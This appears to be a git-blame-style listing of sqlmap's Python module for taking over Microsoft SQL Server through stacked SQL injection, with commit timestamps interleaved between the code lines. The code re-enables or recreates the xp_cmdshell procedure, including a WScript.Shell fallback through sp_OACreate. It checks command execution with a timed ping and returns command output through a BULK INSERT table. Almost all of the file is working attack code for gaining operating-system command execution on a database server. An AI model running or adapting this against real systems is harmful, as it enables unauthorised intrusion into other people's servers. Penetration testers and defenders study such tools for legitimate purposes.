2009-04-22 15:48:07 +04:00
#!/usr/bin/env python
"""
$ Id $
2012-01-11 18:59:46 +04:00
Copyright ( c ) 2006 - 2012 sqlmap developers ( http : / / www . sqlmap . org / )
2010-10-15 03:18:29 +04:00
See the file ' doc/COPYING ' for copying permission
2009-04-22 15:48:07 +04:00
"""
2011-01-28 19:36:09 +03:00
from lib . core . common import Backend
2009-04-22 15:48:07 +04:00
from lib . core . common import randomStr
from lib . core . common import readInput
2010-12-08 17:26:40 +03:00
from lib . core . common import wasLastRequestDelayed
2009-04-22 15:48:07 +04:00
from lib . core . data import conf
from lib . core . data import kb
from lib . core . data import logger
from lib . core . exception import sqlmapUnsupportedFeatureException
2011-04-21 18:25:04 +04:00
from lib . core . session import setXpCmdshellAvailability
2010-11-02 18:31:51 +03:00
from lib . core . unescaper import unescaper
2009-04-22 15:48:07 +04:00
from lib . request import inject
class xp_cmdshell :
"""
This class defines methods to deal with Microsoft SQL Server
xp_cmdshell extended procedure for plugins .
"""
def __init__ ( self ) :
self . xpCmdshellStr = " master..xp_cmdshell "
def __xpCmdshellCreate ( self ) :
cmd = " "
2011-01-28 19:36:09 +03:00
if Backend . isVersionWithin ( ( " 2005 " , " 2008 " ) ) :
2009-04-22 15:48:07 +04:00
logger . debug ( " activating sp_OACreate " )
cmd + = " EXEC master..sp_configure ' show advanced options ' , 1; "
cmd + = " RECONFIGURE WITH OVERRIDE; "
cmd + = " EXEC master..sp_configure ' ole automation procedures ' , 1; "
cmd + = " RECONFIGURE WITH OVERRIDE; "
2010-10-28 04:19:40 +04:00
inject . goStacked ( cmd )
2009-04-22 15:48:07 +04:00
self . __randStr = randomStr ( lowercase = True )
2011-01-24 14:12:33 +03:00
cmd + = " DECLARE @ %s nvarchar(999); " % self . __randStr
2009-04-22 15:48:07 +04:00
cmd + = " set @ %s = ' " % self . __randStr
cmd + = " CREATE PROCEDURE xp_cmdshell(@cmd varchar(255)) AS DECLARE @ID int "
cmd + = " EXEC sp_OACreate ' ' WScript.Shell ' ' , @ID OUT "
cmd + = " EXEC sp_OAMethod @ID, ' ' Run ' ' , Null, @cmd, 0, 1 "
cmd + = " EXEC sp_OADestroy @ID ' ; "
cmd + = " EXEC master..sp_executesql @ %s ; " % self . __randStr
2011-01-28 19:36:09 +03:00
if Backend . isVersionWithin ( ( " 2005 " , " 2008 " ) ) :
2009-04-22 15:48:07 +04:00
cmd + = " RECONFIGURE WITH OVERRIDE; "
2010-10-28 04:19:40 +04:00
inject . goStacked ( cmd )
2009-04-22 15:48:07 +04:00
def __xpCmdshellConfigure2005 ( self , mode ) :
2011-04-30 17:20:05 +04:00
debugMsg = " configuring xp_cmdshell using sp_configure "
2009-04-22 15:48:07 +04:00
debugMsg + = " stored procedure "
logger . debug ( debugMsg )
2011-04-30 17:20:05 +04:00
cmd = " EXEC master..sp_configure ' show advanced options ' , 1; "
2009-04-22 15:48:07 +04:00
cmd + = " RECONFIGURE WITH OVERRIDE; "
2012-02-15 14:14:29 +04:00
cmd + = " EXEC master..sp_configure ' xp_cmdshell ' , %d ; " % mode
cmd + = " RECONFIGURE WITH OVERRIDE; "
cmd + = " EXEC sp_configure ' show advanced options ' , 0; "
2009-04-22 15:48:07 +04:00
cmd + = " RECONFIGURE WITH OVERRIDE; "
return cmd
def __xpCmdshellConfigure2000 ( self , mode ) :
2011-04-30 17:20:05 +04:00
debugMsg = " configuring xp_cmdshell using sp_addextendedproc "
2009-04-22 15:48:07 +04:00
debugMsg + = " stored procedure "
logger . debug ( debugMsg )
if mode == 1 :
2011-04-30 17:20:05 +04:00
cmd = " EXEC master..sp_addextendedproc ' xp_cmdshell ' , "
2009-04-22 15:48:07 +04:00
cmd + = " @dllname= ' xplog70.dll ' "
2010-01-02 05:02:12 +03:00
else :
2010-05-10 18:18:41 +04:00
cmd = " EXEC master..sp_dropextendedproc ' xp_cmdshell ' "
2009-04-22 15:48:07 +04:00
return cmd
def __xpCmdshellConfigure ( self , mode ) :
2011-01-28 19:36:09 +03:00
if Backend . isVersionWithin ( ( " 2005 " , " 2008 " ) ) :
2009-04-22 15:48:07 +04:00
cmd = self . __xpCmdshellConfigure2005 ( mode )
else :
cmd = self . __xpCmdshellConfigure2000 ( mode )
2010-10-28 04:19:40 +04:00
inject . goStacked ( cmd )
2009-04-22 15:48:07 +04:00
def __xpCmdshellCheck ( self ) :
2010-12-08 17:26:40 +03:00
cmd = self . xpCmdshellForgeCmd ( " ping -n %d 127.0.0.1 " % ( conf . timeSec * 2 ) )
2009-04-22 15:48:07 +04:00
2010-12-08 17:26:40 +03:00
inject . goStacked ( cmd )
2011-02-07 15:32:08 +03:00
return wasLastRequestDelayed ( )
2009-04-22 15:48:07 +04:00
def xpCmdshellForgeCmd ( self , cmd ) :
2010-11-02 18:31:51 +03:00
self . __randStr = randomStr ( lowercase = True )
self . __cmd = unescaper . unescape ( " ' %s ' " % cmd )
self . __forgedCmd = " DECLARE @ %s VARCHAR(8000); " % self . __randStr
self . __forgedCmd + = " SET @ %s = %s ; " % ( self . __randStr , self . __cmd )
self . __forgedCmd + = " EXEC %s @ %s " % ( self . xpCmdshellStr , self . __randStr )
2010-01-29 03:09:05 +03:00
2010-11-02 18:31:51 +03:00
return self . __forgedCmd
2009-04-22 15:48:07 +04:00
2010-10-28 04:19:40 +04:00
def xpCmdshellExecCmd ( self , cmd , silent = False ) :
cmd = self . xpCmdshellForgeCmd ( cmd )
2010-01-02 05:02:12 +03:00
inject . goStacked ( cmd , silent )
2009-04-22 15:48:07 +04:00
2009-09-26 03:03:45 +04:00
def xpCmdshellEvalCmd ( self , cmd , first = None , last = None ) :
2009-04-22 15:48:07 +04:00
self . getRemoteTempPath ( )
2010-02-26 16:13:50 +03:00
tmpFile = " %s /tmpc %s .txt " % ( conf . tmpPath , randomStr ( lowercase = True ) )
2012-02-15 15:14:01 +04:00
cmd = " %s > \" %s \" " % ( cmd , tmpFile )
2009-04-22 15:48:07 +04:00
self . xpCmdshellExecCmd ( cmd )
2009-09-26 03:03:45 +04:00
inject . goStacked ( " BULK INSERT %s FROM ' %s ' WITH (CODEPAGE= ' RAW ' , FIELDTERMINATOR= ' %s ' , ROWTERMINATOR= ' %s ' ) " % ( self . cmdTblName , tmpFile , randomStr ( 10 ) , randomStr ( 10 ) ) )
2009-04-22 15:48:07 +04:00
2009-12-18 01:04:01 +03:00
self . delRemoteFile ( tmpFile )
2009-09-26 03:03:45 +04:00
2011-12-22 14:32:21 +04:00
output = inject . getValue ( " SELECT %s FROM %s " % ( self . tblField , self . cmdTblName ) , resumeValue = False , unique = False , firstChar = first , lastChar = last , safeCharEncode = False )
2010-01-02 05:02:12 +03:00
inject . goStacked ( " DELETE FROM %s " % self . cmdTblName )
2009-04-22 15:48:07 +04:00
2011-02-07 13:22:43 +03:00
if output and isinstance ( output , ( list , tuple ) ) :
2009-04-22 15:48:07 +04:00
output = output [ 0 ]
2011-02-07 13:22:43 +03:00
if output and isinstance ( output , ( list , tuple ) ) :
2009-04-22 15:48:07 +04:00
output = output [ 0 ]
return output
2010-01-04 18:02:56 +03:00
def xpCmdshellInit ( self ) :
2011-04-21 18:25:04 +04:00
if kb . xpCmdshellAvailable is False :
2011-04-30 17:20:05 +04:00
infoMsg = " checking if xp_cmdshell extended procedure is "
2011-04-21 18:25:04 +04:00
infoMsg + = " available, please wait.. "
logger . info ( infoMsg )
2009-04-22 15:48:07 +04:00
2011-04-21 18:25:04 +04:00
result = self . __xpCmdshellCheck ( )
2009-04-22 15:48:07 +04:00
2011-04-21 18:25:04 +04:00
if result :
logger . info ( " xp_cmdshell extended procedure is available " )
kb . xpCmdshellAvailable = True
2009-04-22 15:48:07 +04:00
2011-04-21 18:25:04 +04:00
else :
2011-04-30 17:20:05 +04:00
message = " xp_cmdshell extended procedure does not seem to "
2011-04-21 18:25:04 +04:00
message + = " be available. Do you want sqlmap to try to "
message + = " re-enable it? [Y/n] "
2011-04-30 17:20:05 +04:00
choice = readInput ( message , default = " Y " )
2009-04-22 15:48:07 +04:00
2011-04-21 18:25:04 +04:00
if not choice or choice in ( " y " , " Y " ) :
self . __xpCmdshellConfigure ( 1 )
2009-04-22 15:48:07 +04:00
2011-04-21 18:25:04 +04:00
if self . __xpCmdshellCheck ( ) :
logger . info ( " xp_cmdshell re-enabled successfully " )
kb . xpCmdshellAvailable = True
2009-04-22 15:48:07 +04:00
2011-04-21 18:25:04 +04:00
else :
logger . warn ( " xp_cmdshell re-enabling failed " )
2009-04-22 15:48:07 +04:00
2011-04-21 18:25:04 +04:00
logger . info ( " creating xp_cmdshell with sp_OACreate " )
self . __xpCmdshellConfigure ( 0 )
self . __xpCmdshellCreate ( )
2009-04-22 15:48:07 +04:00
2011-04-21 18:25:04 +04:00
if self . __xpCmdshellCheck ( ) :
logger . info ( " xp_cmdshell created successfully " )
kb . xpCmdshellAvailable = True
2009-04-22 15:48:07 +04:00
2011-04-21 18:25:04 +04:00
else :
2011-04-30 17:20:05 +04:00
warnMsg = " xp_cmdshell creation failed, probably "
2011-04-21 18:25:04 +04:00
warnMsg + = " because sp_OACreate is disabled "
logger . warn ( warnMsg )
2009-04-22 15:48:07 +04:00
2011-04-21 18:25:04 +04:00
setXpCmdshellAvailability ( kb . xpCmdshellAvailable )
2009-04-22 15:48:07 +04:00
2011-04-21 18:25:04 +04:00
if not kb . xpCmdshellAvailable :
errMsg = " unable to proceed without xp_cmdshell "
raise sqlmapUnsupportedFeatureException , errMsg
2009-04-22 15:48:07 +04:00
2011-04-21 18:25:04 +04:00
debugMsg = " creating a support table to write commands standard "
2009-04-22 15:48:07 +04:00
debugMsg + = " output to "
2010-01-02 05:02:12 +03:00
logger . debug ( debugMsg )
2009-04-22 15:48:07 +04:00
2011-04-20 16:59:23 +04:00
# TEXT can't be used here because in error technique you get:
# "The text, ntext, and image data types cannot be compared or sorted"
self . createSupportTbl ( self . cmdTblName , self . tblField , " NVARCHAR(4000) " )